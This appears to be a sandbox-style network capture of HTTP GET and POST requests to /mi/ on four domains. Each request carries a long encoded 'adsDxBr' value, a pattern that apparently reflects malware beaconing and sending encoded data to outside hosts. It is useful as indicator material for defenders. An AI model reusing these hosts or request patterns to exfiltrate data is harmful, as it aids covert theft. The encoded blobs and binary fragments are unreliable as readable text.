Ko9DTncK3NKbuIQCnzUBJ0udf(kktKs(zjVsHyEMGCmaF4HXvTT5sL-X7eRSnD0IiB8sFUkO_uitAbcKLkL3IdqHUCGec\x00\x00\x00\x00\x00\x00\x00\x00

http://www.thesquareowl.com/mi/
  • Hostname: www.thesquareowl.com
  • IP Address: 204.11.56.48
  • Port: 80
  • Count: 1

POST /mi/ HTTP/1.1
Host: www.thesquareowl.com
Connection: close
Content-Length: 57645
Cache-Control: no-cache
Origin: http://www.thesquareowl.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.thesquareowl.com/mi/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

adsDxBr=nt8t7dmnk7iwRxXEroDJawN65Wx-ZFA5c9o4gkyPG-C1nzvaNxMq2e7ULMX1zL06R19ZHcVUgLPVIpjbXoBBjtiWTZKKUBIG9ggMMjF463D6ItpGsxnn(jCMVfdDdDVsijYSy0WDPdqh5AEocPHdJD5Bx9JtGmtaPhXpWpsDLV0-OnNZXIW4BuhoN8adumrmmFJl9UVEy6a48Mwozmhbkd2Pl2bgQQRSVg85bFfq1LgyygQAaOX5kclAk8Z-Vi7V1VM71HoB5Ijxw7EM2brZvX4Kpvt4AfYDqtAvcw8SU3FPWj5H4RAqfQLekbWnamGZj3Lgeqoit9BDtghQTtZdB9E0zKHhcunSF2ac51jsIESC7hNq7KgbXsOPKSTmzxERcFNPZ46hoDgcx1Jere9zjTgVyw6PSl8Pldy7GlZnMOYPF5KEz9YFFVGPPu9NYuHMVkCgRiKKV4cs0zHDtm0umSUZFQHcOFm8FzHCH-CgBJzkH0WLJshm9nQObmHz0_ccfK8GYPl4sqfp5NHwUZTDsXROmXQNGvRavjqurIr0AnOOERfR9noo0LhP9NqkWEvbDDvGUZTt2jzHRgddtwQlCGJGyF4zOrXtb1y4dKd6FkHqNPdJAQcqTPfasenW7xPaE1i5z_bW2qQuuQCynk(lpk2blSzR8I(IAaOTysHXHUYPFFKOBsbas5l45rSa4SSVOU(KZbqwtfzT8hpJxD8H5wlkncjnMCjJqI8yA5q6cir_h8jRb0cVt2xf8qgSEMSoVmEvuZCEmlgY4MZz0jGY9haopLg5TKoaEmQ0SL5_iXRgTvGKc7nEb4yMXQETa7PMFtU5WyO98D1W1_qOw-z5bqIM2T~Zhld9LY12awQyrXtExS~twcJ6HAxwV2U71J48VyRyLC(_(-gmjWvcDrXK3aVjRpJdFurUAZE83LLSff~vt_OVeyPHUBzygChq7vfi6EOJqm8LI95GnLooMxRz6FokHns28yHFChIAAGpjHsYehzksiSyz5G43NkhCWBCYqjf4LaCTHx0qcenLyFda0CXL9VM_o0aMnpOrX1mUBOSnmoAMIP0wFYuqa9xlCGt4TsDm64AR0ukEyAaT5G9LQaMxgipuzIyjmzTzryv8bEYq32t2gVCktmH79poXV6MmmrHcHp6XMwM-RpnOJYI5JjLu2uWbK_KgSg~TBaPbz4YmWVsNDXGEkwIEse6VTO2-~hPh2NuPeNHJy5zKRNtHFzGt4xiJKZ718kfCPBaVS26xgTyFd0S2BsJH6ihyv6C7F7uiwKX7810Sge8giawnOds6QIAUJfw3z1FY16Pq4MGAnMFyIFVNEipkkqVP1t6vFG(JIM9OygmvrT2cZG5kpPrLgk~OLjJUbNod2DD1(s6HySeymEtsWN6Ut0bIWIRo(D5kEekz1yUgGHrl~q7cKvZdlqxpXP6aNFcwm-3B1W9pW53o7nKoq_PO80SKP0ZZinTAhkItYTzI9g(fwGqU9eCg9eEyxQ2T9hP89ZiTtf6yRDePCKmw2n0Qeg8qnl57HFHaXAYtOy~VOlYrTbVorVBJe5NjAsCAsme8E5utXOhMgWJZQ6KlXtCge1oOIiU5bonXknTQsogkLawe4R~gLTKznqs44tfW0s~JqRAW(_rRRB9DyC9QxPl9Ni(-0Pi-D1j3v1qpWoJ1b3OS5LyrwQ7QWTLBV_TPWv32HD8AF7H_Dd3YWanK~G8ocL4R8ir4TIjjhdinb95kztzaIx4_Xldo0ulgztA2wsPq~ETmWYVpmQJZ8EOTNXVKBVKwcDkqKwHpuEYTnb3s12A2LNyE4WmUCLlj387_sqLoSmeHcz10~v4_tfbjPqSN2szdTSnLEH9EtEQG(gC6zHr63dSirR2GAA6HIrHcJmqu0FBi4JhVOr~DyKOKVrHveVo_oc24jiJmp64TlexWGk6qzFMqw8cbW3URorx1fYzdMKHoBXr_lrSzMbtmRYT9umYlcLnrzaDAu0AouJcKhV2Pb_kAaq6zyo4CvJPBiBkp(XM8O4BvNZAoDOHvoMGWRPL9RvomcJhlpJE_z0268zNch7LKWoflDVPUOss0PnL6GdiafDoscsTtmYHT(t(3Pa~cPGOvgXlMzcBO7BMmc5(flhMw9XQBHnCzwlD7YC1_KbTKIiKmM3geeNAPKk(9rmN_fJ2Qv7jALsbmKwXCFZREtejFBfpE~8tsfKwAfRh14GFAt90hYHAbqUZiVr~2uDFr7YNoqNQx~qF0U8f7M-IVeDlqdON9adIPNnECdXwGJiUjN47YeRuXpHu0CEoJg0qwoLjzyyNLGlvT86Iu5lB2iqUzt3VLaAZ9YtJp2sifsEfwZPc5DQb7w0h6YkFl7nTJ9KLUpjpK90k3PSyFfTFjNE5y58j56k98tkO1A

http://www.pinoy-central.com/mi/?adsDxBr=P90rzGhZKyIkOaAxlcWMZfHv92kLP1Ki0/wtM4w70FUk47Mm+D3CV9EFY6JxSNQSr54xP1n/&00D=qDKx_Li0IP4DEJa
  • Hostname: www.pinoy-central.com
  • IP Address: 54.174.212.152
  • Port: 80
  • Count: 1

GET /mi/?adsDxBr=P90rzGhZKyIkOaAxlcWMZfHv92kLP1Ki0/wtM4w70FUk47Mm+D3CV9EFY6JxSNQSr54xP1n/&00D=qDKx_Li0IP4DEJa HTTP/1.1
Host: www.pinoy-central.com
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.pinoy-central.com/mi/
  • Hostname: www.pinoy-central.com
  • IP Address: 54.174.212.152
  • Port: 80
  • Count: 1

POST /mi/ HTTP/1.1
Host: www.pinoy-central.com
Connection: close
Content-Length: 2201
Cache-Control: no-cache
Origin: http://www.pinoy-central.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.pinoy-central.com/mi/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

adsDxBr=Hf4RtjYkJhALcqQHsJv7CojO8n4ZJkefq6pOQpQo1h4B1J4H9lDOCIFPZMAXOe0o8IgyOA~AnqMViOoJFIpIUSmgD7NWZw3xmKSwmYqoq4WZHX6EN2o_AQplJVPwWcPZKK3C73~vgUbph4Wh3Uh7PrceATA6sHyplyoiiPGHXHZGPsSD3K4YZOLwyORrzfjRRUbnVO5DLBTMAuoSghfyXtIXfDkCgnWLlypvcty_rCAVldJBS4sGGQNlbIJnb7he0wrnomhbxXJTN4bCjvtKXAzQR_glUED2CIGVCkiHIsL2excuWlxxa2~piKbAHUv3r1UEN_CDkZxdYBinYLTvt7zuG-Qzf_n4X_tuTNsfjsShDUhw4OYwSiTuZj~kSAyBenCgolTVpJBtleDLDceqHPq4VC0z39yKahSpuqrCf-jF8hXfNhi7KJ7CEQUYDJu8FAZtjjfLT9athIYAdj4SoG84XwjidSQ5(H4J~j2Nld3whrTjVesT4dmN9FkaWiQx0A(6H0orLa0exLkw0ICPDWiEVU6gEw2GnFtkmi(m~Fo3kABlJhn7hvjNMQXBHhStcUIKaZza8X8irFyqo9Lxz-Mc3f7iYfU-IGqh41jb0AO2CUujP43aqL57RnR4tOiQSAIOJcYAOAbQmWphIWMjw4L8pEKpG487tZEn6z1wfCYdkJOJc8h7nkBBeEonQ8IWGFXcnWvhbGfeNQWoKpEvu7NM3smw5S2Q5db5JAymd-pIXJMqaDSlsi~pzLNtEBCjZbB3QAm-37ZpUecI9qB3(muE0N(ht7x2UTLLIIvcgFQiUJ~g8ytn(rHDk4~8LttHCuHzE3~pdYAScYEHz1T5bHJoICfTFarIyDaP9Vb-hBbQkH6Ty6Jp7vM_kT9nY1j1FEhyav0sf6ThZRhshroWXRLCIdeoxpbf19N3rezp7bM9haBJb0SGxpAV2iLeop(JpQYzIJysgeHlOptwyM7o4j72KgrgAd2W1u5BDBVm(5KXAsYSYWiIkZH1Yn81G1Z5XAmqIGl091muZvVrqXdodjcJN8U1k0Byp5YdRdkzR6nmZTQ4RI1R6znGO5~PA82i4jFvpXlmplAFrSXOnjTocGwNPrvRPys-J-KiNhRU76HVGlnz~0L9PERjo-~rWmRb8mhQQXhdz7MyDOwWlQk2kVMvild_KTond6PekiDuZvsLxgBrc_GiG9WpIWGYDaaHPIcJ7566AaLDkG4RzugOHUNlkMy5cBH2ZDZIE1FplCM6ZU0zGl2YRYnmvkAAuONT7Q30W9mEuAaGUzrdxPqBAdrhJ1P4oX6waYTWQua3lpJ6SYcyKByp4j(Vzfz6hH5uJr0e4i3wJcrZAaU_B4WEjmjpjeEKCp1wqvrHmIpO6IxXCt6FUlAdU_Hc54QVTamSv1C4DElvTjjwTwrazdNEbNqG4yROMMM4jr2HiHnlHlaxfozXHGWTUCtCZRN3vAFBjiGGisdvzLs2mOnjEMtCiqIoNnGXrshgcFwR86MkWWuYHR99sGFptF(xWZDIeJQD(bKKttMoHjtjW5ySm3DgqSdBZDGUbyv-ipSEYBtL3RLiPT5CrgT4xncKrBLT178ZNRVBzcMOrPNtJLGgsjL0Ts4h4Ga6ybtW0-yrlz3UDKc-pPESs3CbvgiDp15tuNGcDqAmFc3wEpcEZvgmcsY3tzkO1kHN8Sef95Rp2W0_IRhT1a0ohW~dghEB0GwozIkZFloodCWija0qfkPqZd5sOnH96Lf4fjPWqFFht07bgCIi~Dylc8gRHW3VPBvqJsBxmE5fP4ii7FeRGe~1YFgfpJPhSFhfag9aUsgGcqdGT482EAPqcyAJcPVLJWI9yj(1nD6rhktKR0RSsnpAj1pL0YQA~7bafvHBbfNrX2juM09Pq_mgDAxjUmmDdhrou-bFznIFhAFYXrulYs2_QY8YXHKYuklKtv41Od9Yd5Otuo(yv_QmQPf_UKiyKYOyU4VmqYGOSP4OQJ~PJ876eA~JxAdOp8yGUy4j7GfGIkY8KI8lanlpt7Bvtpi3Awp88z(OnsNkkf7ynq4JabLPGDEn30YFPMCSVWx6h8UN5LaDW6dE87zsPY7_aNCQ8_fvp3NcDty6LdIA05zxWxMlZmwqSGzD1VJEjvhHYII9yulhpTklPKWJAS45ByYe(vb2M_8wOJRRfTqVlxAO\x00\x00\x00\x00\x00\x00\x00\x00

http://www.pinoy-central.com/mi/
  • Hostname: www.pinoy-central.com
  • IP Address: 54.174.212.152
  • Port: 80
  • Count: 1

POST /mi/ HTTP/1.1
Host: www.pinoy-central.com
Connection: close
Content-Length: 57645
Cache-Control: no-cache
Origin: http://www.pinoy-central.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.pinoy-central.com/mi/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

adsDxBr=Hf4RtgJXLxUaYsMomo(rNoTZ338DAUnnnKJ4QogkhVcTxooHpW7VLIFQfMAWKeoQ~Y46OFeqnq0W(P5iDrBfciqMB7YVPyPwoIvyjdOokoSbNiODBl87GA1rB1XDYOH4Lo6LzTiXkRvzq5WZlnB8SrIZOw8GskmbrXc6ps2YelFMdsyh3IULBf7NmdxQ0drBDlfnS_BTDmnKe-IwtS3PANY6aGZLuX3ixRAqRveEpGUZ~d55VYoNYw9YSqp-arEOzzPVmndgykFfbZ61vsB4XwDuW48le0j8BNydakisKsTyURdHWl15bB~luqbdamLkvltHEeypnNVdZnGweI70xLysFuBxYPbvX_9EcdkfgqihJldzreYwdCTsZj~sSAyoelSsplbV~aVr07XBLq2OafqdWD0pz8OiaiihvKPCeqjC5BqUMwi0S4OFPwNdDJi1EBICnBL4Q9aiuY0pZnsOh3NiVwbzO24H8kEG(AWZmezkoL2cFdAh5P~63hsCLC8K0gbqQFkTJYkHx9YQ2aybK3PjazKIUgncsW8Cnxj62mRuggNIAzDdrrODFC7HMk6oNXIRVJbb9n4D6nGVof3f0q0Whvmcaftbf0reumzqzj7WPHfjHIbh89tJIVVMrs~RLzcIUugJZDT1zVZpEXoT9fnMoUGbLZEezLIMrm1RYi8su9eBI9Me2XJ7f2QBTeIyOEPjvU(8dD7RBF(TTJAMoMpp~dK44lS55dTlJxGmc9FITIMlUAKm7C~rubNPKhOBZZw1RAy-xMdvVdZH59wNwGuMyMzkp45bUQnfLI72qmQlRIek(yt5(KXwsYylFNwPCeS2KmSDfdVNM78O3Q76fDE9ayTBf7Xv5i2JwFru5T7M5XPk9bRx2M15impgfk3aKURUf-A8HK(6SDY5hOckYxf5E-GJxbDjkdEXq-XDxJIrv7sIag6e7YZd3STw69nvvidyHo3vrPy7JohIlanBrGOQKAuBP8ufssxbEzlt8r62DNRLaUmjp_TPZBEPRkBjOgS8AWF5(naPVckYiExAaR9oLsgUl1Venus2cN8aB5KeelouPtN94QmTebyyDtuy1Dl2lB46sAkwi2X-qjWPeG5fJ73wehE0J_6IKA1U4KfVAnvzqF2HFVc6pOCffWNW3A5SSxMHg50rHMlGxlI4gDMBnU50dAEiZKHgjRjJZt8LwHZUZb3yF-CEIyKyFL7HK64jzoebKLbjthUyqoh8Ih5LoceaTyfjGUhwF3tAlyhPb0tuHnPweIj0i143oOJ04yutZsCDlxKaYgnfiJiJKcSKflrpq0WGP4qcdsLXz-VOKqY8dF2_zg6zg8rl2EU9McEptwr2D9ugYZJ2TZvrnFGX9dRhdKxg(rybmuNT~ZtfBuGWX3gQUd2G9ps7A9eL~0HEJSwPKQPkMwnj~dVdQd2OkEBWSNc5qLKj0FDJUnbUUdiZXBytEStfQBE0kClBjieCooM1z6w8nfnwDPdj17wpIiTwspFAJ1Ug4fMUU1~yNWJbimdh61vhSZ~Za8oA4ejRveB0WB1LdIeSgHjRmzNlaivLVifEgp2IKQND3SjlOzRdiQX79nRQ4yOy3YRtIRNOsdVxk99DDZOgh2rwK_sT7EeGoc5S79XzhEPyD6BnvZE49nj-zhWF4kQmrpuFJKUOC87acaA2f94jWsUqiwsg3UHT~xT_8ItB2TAaEgwV1bMntjiYjSUP8jU7yLcRPmoAfj2m240LKW2WbftPB2DJ9NfKfB30okJFmWulhzYw0wSHZOJdBljuO0S2euh1qTp2EarS5Cvucsa4ZGYTipDmf3xGaFshAIsYJZlkfaErBz(UbzsIS79FAU0A8yDM8h6wkkdNTAhS8R8KzF0Sw7RC0bv1Q67xQKtBRRfVMV8f982nDBYcf2mxdDaRldzg7GVeolticaTDWJ69MYEYdF(5rQ5nosUWavMHZYmguLDxp9woKs6iSeKdKr(7R9VzyqKPdtUqf7qTB8ukfE~A7EQR6d(ZUzB50gfrMUV2UMU2ZXhdrqtStKeDJnkHjyj64-BJlPnCio15HO2sBjYowjk1Mfa0DnQwhdJUxorsc4ZnmPTLG9v_SOeB6vjQgBhEJ6TMItN256nuAHcJDmtCW3Xi51hirPNxfJEQxIgjsxsSMt6Dajdnfjp-0fTtProeLa0GA1G6vGdEviTT~U9glqjOfyTIE_pZ~BGaigYOVVybULGkJoPnUl0x97scjYOstpkkLVACr5kLHNTXMIFtzRTHBqqQiysTKbSU~T9aFE9nrHnXJLzjIL0hQ4HL9aIPYRDCN-M0pzzXG3E0BA4V8x9mq-3dJH5KQzSSlnbVxf~Rl0AaIBbbV5fr8nmSISgh857wpciidpz5ZDeSym(GS6M63qlJFe

http://www.uuuav62621.com/mi/?adsDxBr=PFp5f17dn5O9Kp2BcVMNqR9I+f7uDgYjyOYjWVYldx8UxtAFI5LODltiEmb09eh8xXYznH5b&00D=qDKx_Li0IP4DEJa
  • Hostname: www.uuuav62621.com
  • IP Address: 172.107.11.229
  • Port: 80
  • Count: 1

GET /mi/?adsDxBr=PFp5f17dn5O9Kp2BcVMNqR9I+f7uDgYjyOYjWVYldx8UxtAFI5LODltiEmb09eh8xXYznH5b&00D=qDKx_Li0IP4DEJa HTTP/1.1
Host: www.uuuav62621.com
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.uuuav62621.com/mi/
  • Hostname: www.uuuav62621.com
  • IP Address: 172.107.11.229
  • Port: 80
  • Count: 1

POST /mi/ HTTP/1.1
Host: www.uuuav62621.com
Connection: close
Content-Length: 2201
Cache-Control: no-cache
Origin: http://www.uuuav62621.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.uuuav62621.com/mi/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

adsDxBr=HnlDBQCSzO60Wt6zBhRGwWJ8xNPdDDMdg4Q3eksbVjQ95usnL4vwSycdcgbG9YJ8hUw8(xBRgE7iF0lLo_h3wVlR6oCncjMMYTjPbqonraKDILXwieD10cfQi1dVUsu2CP1Sxv7MoPbi27~fwCIEfEJmRA0g2S8Ndu~pn6GXSoThjskgU53HICoCvfcRZco8ZsakcX(BKlDYtkNMb_sxw4LRDzHb~NcK2tZbr0Se(bOUtOAYMwM-~A6_0h84vUaCrYf3NM9JnIAd7Jrg0nKxrG~gavGXvo3aqtCRP6AjNg5s4Wce9xvN1cjCsUFZbjin3pEvWhQLAifDQDGcRPVpAIBklTdgKz4YMJ5L8vYeh2xe(MZ6F8aGL73RHR4OzPYePw~_y-aiZSfJVlki4_6BTZUYqgk3U7NGXrG1pbJsr_8fF06tvxPaZVTUjQQOM941Sq2OzFmLYDFc2oJaTMwDO52qsu4Gcl6ZIbCbB7ZUoOu7DCNuivH9S94dKgKMMf0Pfc~thLY46d6Vp5VPnVQ3i99-axtVzDiEyOdgSmaM3C1B54Z4CiXtX1omJQolqjmHnnaIwyfRZ4Cn2drfkrxBChqotco250qJAVPW7IELh9(fxMKGJHubCEA5OUwmk3uYh6ofXxuN~ftPCiaLQIcYIkgBKBKcgiAb2bXrBN2JJuZI(i5pJbW6zg0vXvpR(SGHrysejP8CFR2apTWTPJbXKEOrwvyNx0QkvIoghxzPt_(4bWog(IyU71DHOBSPo4L0A7HajyVxP_VKPOQRNpH4vWkm3HB40hEDeatCcXbxCT8lsx4mw2X8~2qJwQygrMFjZ_Cqr8on5qYnq4XQM7cgBWnKaxGKrSC_hjW2Hw5-urqQGd3IA6FhCkhgu2kudUg64f4eF3(0CvcoANphHpZjv_pwWaMsb_VYCKrfR22Ui6BeZ0P6eqaflVEuZyLq3Yre4dAI(ooHQYZ8a9c1jeZvA3O7qfI2aCPjLtmUo63yqO4GewPSvQW2qk9i0JtQo0kx~GTv62nQJ1b-EfAtXwE7qjVkPxMqPK8M9e1u6M3GZ8Yw7kEhsAwgLa95jhrxDUZIHuzhVTEN3wB0FKQsXviajac7yYGGv6wbcxPVVNKxh1Ky0BPaF2IhI9gfHubN5DWfRrNENO0MbWW4e9TSrpgByePeUfiDm7P8cBoVF9(Cj-y9mjAoZMCo05RV43f2eq6CEd~WveC71jDwwM6jS9Tk9mx97tTZcC7c1STqGEQ7BaAexmIq7x(YAteFzkCU4JK_~Ihx9h0L(Wqa3Z4tqc~1vxyv(iFnKAkA2_cuwIDZV4trAfgxK4f7~d7Qx2R-VHZeixT_SuUmlifIJ07jc9ghmCJ2D02KbePBZqGPfqMytErSkWlg1tPc~hPyEUD_ytQk3kZCJ_rme7TtxeuhYZIG82ZSk658fyPyyVQct7oIhiVCCkvH0LwUNcL05cB9HEZtz1IN1sru0xw8u30SukeeC0a7yI(OUCwyHTxONqQ6~GXs8EZOqytn8u3dXKSr0GdtTV2rG33vhklrWmqZUgv9DHyawgmPXfzWPB4KvzKN7XJJXKgpZqvnuWSOlAHGUV2Nmb4dcR8N7CgdZneiwNTslzki38csWkF_t0CuV9EesQSB1_62DjUQ9V0PHaLOQmwiFFzR0OPqdE4fTNnP4rXFdNz1q-BimG5b5E6wGqADzE2UTbTm3johOGQy~LhpjD4S1AXbaZamiyUjvIi1DAEp3NbM6Na1DBs_7e9EU1xyFoPsVoRSRlgd9qDTHXhfptyq3N6EEQx7hPkw2PTyOgZiYYsc~53KcmTfX9oNi7xE1q1EvnFIK0VRLo28JLglS8jjBfV5diO7Ett7R7Z-bO2QclkV5bv7tXpjHeXWOHXUOT~l1k7xAUNLFRtm9EOpjfjYxuCjouI79uWbx4b6To6QQtTBC8Y21m7XFSlAGBuqwATnkNevfRenw_S-P6scxYXwS2AxF8wgrBu3pbqUYJB7KauFGSh0GQbISs~Vx7kKwLDEZR~5p2WC6RjL4IXHEBK-js68IfTAyNNpU4U5(TQPqi16fwqF1Jxdct~BTV(G0C0xaziL1hKdRhwqY_doVDTZPcOIQJHxbj3xHf0_OXtQ5r7ssi2hfD(lm0Mx9dRnw8m2Q5rsLaLxUKxwi-l9iKQunia7Vkc4Z3dZ\x00fTqVlxA

http://www.uuuav62621.com/mi/
  • Hostname: www.uuuav62621.com
  • IP Address: 172.107.11.229
  • Port: 80
  • Count: 1

POST /mi/ HTTP/1.1
Host: www.uuuav62621.com
Connection: close
Content-Length: 57645
Cache-Control: no-cache
Origin: http://www.uuuav62621.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.uuuav62621.com/mi/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

adsDxBr=HnlDBTSs2_qfSvimW1VsqG5votLpO1lniqJWel8fYCAv8N0ncNb3eyceLwbBqoNAojM0(wEEgFv9O110uZ9k4lYkzIG1Yh0NY1yeergnvr~NE9DvxKzx9cTSpUFMd_2-Dpte8-arsOTpoK~nihkAAkdnajIivxYZaqr2k6~ATqPvyu8CU7H-cTYr3OVtaqsCI7CkRGGaSS3aiHFiZsEi2Ib0EzXAhJsRlewFk1noz6HG2JsgPQJwzwKesQ1svHObobq6OtQh0asRjrjI5kmprSCOWNmXhcDQtvajF6BFPgx422cq9xrF0vT0g0FbfgX8nZMNYDZWOwrDRhODGdNseYBr6TMiYTEPMJJXy_Qegwhe1I15D8aGQr3fHR4GzPYzP1CJguSiIyLxb2sowMmlW5Uuphk9DqQZXsitp_5soPQQDVKp4TnZW3PEpwYeM90gTrm05HieJzFf54FvB9xcUYG5kPx4aWGzP7WUBZ5IrJGvPipYkaf6C_h9AAmqCOYeN8q906EAz-bboPooqUUjvdRBSTpDjSTg4fFBU3uQ9g9zmIUuFXX6Bkh_RWwnhhOThUqWyznUNYO4xvPglNxjFzyclcE9xW7zOQjm8rkDme7i5Ze3UnD9IG4fbnUOiTSdt-kCY0ztvtUdWhb-cKR3HFghKRWqhiI66vTIQ_ysOOt5niRYTbaOl3gZQ9QA4wGj2iEx2dc1HAjgkHHoTuT0M3z55buVxj0NvIRyhBnPu8z4Jlwj~rKPzFCMTRSt1IPWA52BlChxIPlIOPQXJ5yCh2kU1Fl8wlI-ec0YdXPHGV4i6EEq8WXi4irhnAvuvPc4ZO2cwdU3yMsNur(JJaYtFSbgdh6YiD(vuHGwCCg5mJKmKdTHC41pfXZxkXsPK10z(qECTXqIJMEZOcJDJtNNt7pbKN4zbscgAKS9QVbFopFMTVS5MKWHgBQTZjjA25na9rAhwJNEYINjZ48Z1vdGFiKIkf8qFQ(qSNGeqNzpo_gneSPEwBLqumNU2v9ApRIr3UPYxmGgPl(XCOYRP3cmiys3DCgLDr4wj-dV7-HZf_0JyGo3jykMN59LqTnMcVcTI8rkcGwQkRZBQ-4AM7qH0JNp0aGj~tcNcznjVpCxiFyy7xvaMXlXXccJH-mqwyiOB558BMspXkuLJtfPjss12IXkTu2GwIjlQRRoHMnLj7O9mAEXPMn-14dCoGXqY6bCOIWCmOHr9zyxgPbzX_Pb2UAq6c(yaHzB5QGRBBEaBJJlzCMj6znvfNSXqkbv3ouy9vddyxoWwmaG(OBmuvi9hzyN3gY_BG8IzLYpoKTqAp0WP6oWDKrXzaCfwid9OE0PmCXyLaogr323G3n_OfwF60JTPj3wTt77RbjNYIcnqVnsgkZ39f(7(FSyVkjr~-0LwR9VfJ22HqG6u-qsUdNOk20drYM6LmrF4yZ79a44vQUpH3rMxcU-IcLpwPwmMGptz1QJvcOk1CEium07tgm3Exu6idqjVD91Pzl7JIUS8hq31HdgpCkaofGWTKuJinZuCgeFDE7EgWsMDmWZWUbAOmiixDnWJ_DsYT4G6DqF7S4AXqYmUargr1(MjBnoR0T3jbwSSA0fwzY_T1Wi6sfgvU82oJMcXnt76gu5eqUwsgfAysOULj11xFcFWrSDBVInBF2A2uDIVEctXePE2rKZIZXfmuBkqHZm51GuGv0IxTSTTZDh7R4uO1A8l-QdiABniw~IVZ66kBF916qABB00z-Wh9PutEg8N6_x4S2lgG5fYGu0DIH4A85H4GmYFg_Th(eexOBQNyYNQ~P(_JShxBIgbu4ftdEfLW8Qlo4oh9IdB4SgxHQFqZ4qAKqJDZsfmaedxYli8I8h7UdV9duK4WkNe6biajGppCsvGIlfGMy~Kikf8AUFrDhtY~n~bs9akodmDgKoZ2fa2(eX4Z4yQLbL7FPVW5FW_ASdmOB2J(GPiw4KtWCqPm7~ROJ8x0dvPfUswBP8Ak2u-laOKKbFmTrWhVjtIGRz9Rp~s7rgP8b6YbjivonKnrCfBwb2yMx6onsfYKMPOz_BmJJkXvAMOgVJvfCDWxIR9dP6Pewj06AgoHT~ar1edek4_euBhYxznLrmrcbaHGRT0Eehxa3gwm7P3gBHeZE(Dph8m8_Z52banQaTubo38X9EdipZ97N0Y6zzwEikeQCwB6HAPBdyD0iosDqeVUuqwDA~JZvhfepWtBj9X7QRvXo(1I9qmnLqNu925wQbUPlu2NerISM8XgBYTzShmZHZ8kqUhkl3Hvi~xe6314wkrPLwW5rj1Xpq5TuAtCjW3JYAmlCdnHA1MNCzBSApX972vHf7F6W89f0RmzDTUMr67rGiOEOmNyfcN0swcWP6LEhmwqlkZeDswS9hAzxWyo_dZb13T~9f

http://www.body-nayami.net/mi/?adsDxBr=MPrai7mtn3NtxerR2V3yweOJSdw8un0LdhZ52hLeq9g4hg8q7+gbeJ1Ej5g5DbiKkblYfMrl&00D=qDKx_Li0IP4DEJa
  • Hostname: www.body-nayami.net
  • IP Address: 183.90.228.39
  • Port: 80
  • Count: 1

GET /mi/?adsDxBr=MPrai7mtn3NtxerR2V3yweOJSdw8un0LdhZ52hLeq9g4hg8q7+gbeJ1Ej5g5DbiKkblYfMrl&00D=qDKx_Li0IP4DEJa HTTP/1.1
Host: www.body-nayami.net
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.body-nayami.net/mi/
  • Hostname: www.body-nayami.net
  • IP Address: 183.90.228.39
  • Port: 80
  • Count: 1

POST /mi/ HTTP/1.1
Host: www.body-nayami.net
Connection: close
Content-Length: 2201
Cache-Control: no-cache
Origin: http://www.body-nayami.net
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.body-nayami.net/mi/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

adsDxBr=Etng8eatwlJRu6bzrgS4n-Csb-FguDwCKEMV~j3mh-F5o19txJsmfMcJq9seCY3rnIwsd5(gMcfLImCOWEwwEEidg6hdJ53zspoeha98qMQ853OF10WBXtAJedlAsgr3lKcVnvKayLptIzeS0fu1ifxfBa4AVa58apoyFRzIt7EbJHR-Xmm0oz(OYi9-RaGhbYi0oxSqyHHlo72I4z9qE1lUtT7gu_9KTYS-0S2JJKspJK21UOMiBC(Fkj5telY6u5LHtfTd9NTlebpmrtWG46pWxolX1TVyUh8RYQ0tFSIQgY(Yb9HED5DKwW~eJbpA1nzota27GosnSEDMC72mH1gknQxhLqB6K4pBBucT8JfpzZ7orFpuA8xuEKW8zp3xtvpLKFXiV_0xNEsoW8dWiB3AUGJilvQ36eJcJa6yCsR3kZ2SZXcstaakiYL4m8IYSzus7xCrSNV_lpsmvVrB5C8IRD9MD636w6aQAUVaFI(pEEv2Pwjs1T64NAju(sHLmepQg9K4EABXzzMtKFzZE9DxKp~tpls4QsrXf1DVMdEZLJ9L1augx1H98hThdC5F(myGkVtcZar0zUR0CuUZd9SUQkFSsJgM2MCtTqR3A0rJIi1o2wjWI9LAtSusbf9SjyuAEaGaP8tgnvt1p000J5Df8721h7Lh~fdV4hwm0OoTXFuXrcfmxPnoS7UtODxrME5utQxGcEjvqQiQdkm_TpBlG3Zs1SXXiXO_uB8OkC7xgoRAdyI_qX36sf9RhvmhKWi2wUhE6QT399lqUcgUV8IPN8BkdvmmWgZ4zKoOz39q9cEt~6Vm1dia~iy_y4f2iHRKYwJn